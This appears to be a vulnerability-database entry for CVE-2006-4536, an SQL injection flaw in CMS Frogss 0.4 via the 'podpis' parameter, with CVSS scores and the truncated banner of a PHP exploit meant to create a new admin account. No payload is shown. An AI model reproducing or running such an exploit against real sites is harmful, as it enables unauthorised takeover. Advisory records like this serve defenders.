7.5
CVSSv2

CVE-2006-4536

Published: 05/09/2006 Updated: 19/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in module/rejestracja.php in CMS Frogss 0.4 and previous versions allows remote malicious users to execute arbitrary SQL commands via the podpis parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

cms frogss cms frogss 0.4

Exploits

<?php echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"; echo "+\r\n"; echo "- - - [DEVIL TEAM THE BEST POLISH TEAM] - -\r\n\r\n"; echo "+\r\n"; echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\r\n"; echo "+\r\n\r\n"; echo "- CMS frogss <= 04 (podpis) SQL Injection Exploit [creat new admin]"\r\n"; echo "+"\r\n"; echo "+~~~~ ...